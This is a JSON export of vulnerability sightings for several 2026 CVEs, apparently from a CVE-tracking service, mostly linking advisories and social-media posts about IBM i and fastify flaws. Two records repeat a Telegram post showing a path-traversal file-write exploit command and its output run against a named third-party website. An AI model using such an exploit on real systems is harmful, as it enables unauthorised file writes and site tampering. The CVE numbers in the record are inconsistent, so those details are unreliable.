{"vulnerability": "CVE-2026-1850", "sightings": [{"uuid": "bc6d024e-225b-4a54-b429-feb9558b5378", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18509", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mtelxat4pd23", "content": "\ud83d\udccc CVE-2026-18509 - IBM i 7.6, 7.5, 7.4, and 7.3 could allow a local authenticated attacker to gain privilege escalation via the Navigator for i debugger. This could allo... https://www.cyberhub.blog/cves/CVE-2026-18509", "creation_timestamp": "2026-08-18T16:07:08.213849Z"}, {"uuid": "f4f038e8-b6fc-4f26-8b95-f6978fd34967", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18504", "type": "seen", "source": "https://bsky.app/profile/ulisesgascon.com/post/3mtf2btwvfs2o", "content": "\ud83d\udea8 Medium-severity security fix in fastify@5.12.1 just released!\n\nPatches CVE-2026-18504. fastify vulnerable to schema validation bypass via root primitive coercion mismatch.\n\ngithub.com/fastify/fast...", "creation_timestamp": "2026-08-18T20:23:37.249525Z"}, {"uuid": "0bbf8cb0-e7fd-43cc-9629-06fe677ae231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-18503", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0994", "content": "", "creation_timestamp": "2026-08-13T08:47:26.899287Z"}, {"uuid": "cc1cb5f9-7e78-47e5-b911-b8907146b3ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18501", "type": "seen", "source": "https://t.me/captainsmok3r_official/447", "content": "", "creation_timestamp": "2026-08-20T20:00:03.469516Z"}, {"uuid": "2d426c77-9a94-4b11-b727-c259f43b5e03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18501", "type": "seen", "source": "https://t.me/captainsmok3r_official/449", "content": "python poc-cve-2026-18501.py --host http://www.sp2go.info\n\n============================================================\n  ALIM EXPLOIT  CVE-2026-18051\n  Type: Path Traversal (arbitrary file write)  |  Target: www.sp2go.info:80\n============================================================\n\n[STEP 1] Baseline: reading /_index_slash.html before the write\n\n--- BEFORE (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n        / so the traversal resolves)\n[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments\n\n--- TRAVERSAL RESPONSE ---\nHTTP 200, 68551 bytes body\n---\n\n[STEP 4] Reading /_index_slash.html back to confirm the write landed\n\n--- AFTER (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n        \n        \n\n        Suchergebnisse f\u00c3\u00bcr „2e523a8e921c03f8\\..\\..\\..\\..\\..\\..\\“ – SP2GO\n\n", "creation_timestamp": "2026-08-20T20:00:03.518861Z"}, {"uuid": "94164c6e-ea48-4e49-93ba-462fe989da90", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18500", "type": "seen", "source": "https://bsky.app/profile/ulisesgascon.com/post/3mt4rdgqdgk2i", "content": "\ud83d\udea8 High-severity security fix in @fastify/jwt@10.2.2 just released!\n\nPatches CVE-2026-18500: @fastify/jwt vulnerable to authorization bypass via global secret overriding the per-request key\n\ngithub.com/fastify/fast...", "creation_timestamp": "2026-08-15T13:22:08.443456Z"}, {"uuid": "090132e1-f01a-4160-9ba7-b3d5d02230bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18503", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3msspwqagte2w", "content": "\ud83d\udd17 CVE : CVE-2026-18503", "creation_timestamp": "2026-08-11T13:30:29.195240Z"}, {"uuid": "3457b8a4-96e4-4ceb-810c-55eb5191daf6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18500", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mt4wsxbwjr2o", "content": "\ud83d\udfe0 CVE-2026-18500 - High (8.1)\n\n@fastify/jwt is a JSON Web Token plugin for Fastify. In versions before 10.2.2, a per-request ver...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-18500/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-08-15T15:00:17.237294Z"}, {"uuid": "012ef36a-4e87-4480-a9de-c8e1660010ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18504", "type": "seen", "source": "Telegram/p4lssD2r3oSedXIz02RqCBsvQICDpdDZh6inSefTC1cUqJE", "content": "", "creation_timestamp": "2026-08-20T03:00:05.424489Z"}, {"uuid": "be19c5b6-70a5-456d-95a8-971cb051d3af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18509", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/fdnkibhnebutg", "content": "CVE-2026-18509 - IBM i is Affected By A Prvilege Escalation Vulnerability []\nCVE ID : CVE-2026-18509\n \n Published : Aug. 13, 2026, 9:17 p.m. | 54\u00a0minutes ago\n \n Description : IBM i 7.6, 7.5, 7.4, and 7.3 could allow a local authenticated attacker to gain privilege escalation v...", "creation_timestamp": "2026-08-13T22:47:29.163636Z"}, {"uuid": "a9003591-2ddf-438c-9720-8d361c3064d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18501", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/447", "content": "", "creation_timestamp": "2026-08-21T00:00:08.943341Z"}, {"uuid": "2103ced0-8355-49fe-98db-0ac64b3f63c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18501", "type": "published-proof-of-concept", "source": "https://t.me/captainsmok3r_official/449", "content": "python poc-cve-2026-18501.py --host http://www.sp2go.info\n\n============================================================\n  ALIM EXPLOIT  CVE-2026-18051\n  Type: Path Traversal (arbitrary file write)  |  Target: www.sp2go.info:80\n============================================================\n\n[STEP 1] Baseline: reading /_index_slash.html before the write\n\n--- BEFORE (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n        / so the traversal resolves)\n[STEP 3] Traversing 6 directories up out of the cache tree via backslash segments\n\n--- TRAVERSAL RESPONSE ---\nHTTP 200, 68551 bytes body\n---\n\n[STEP 4] Reading /_index_slash.html back to confirm the write landed\n\n--- AFTER (/_index_slash.html) ---\nHTTP 200\n\n\nimg.lazy{min-height:1px}\n        \n        \n\n        Suchergebnisse f\u00c3\u00bcr „2e523a8e921c03f8\\..\\..\\..\\..\\..\\..\\“ – SP2GO\n\n", "creation_timestamp": "2026-08-21T00:00:08.850046Z"}, {"uuid": "c5f12196-08c4-4ce7-88ad-cb25afa80401", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-18504", "type": "published-proof-of-concept", "source": "Telegram/p4lssD2r3oSedXIz02RqCBsvQICDpdDZh6inSefTC1cUqJE", "content": "", "creation_timestamp": "2026-08-21T00:00:10.812677Z"}]}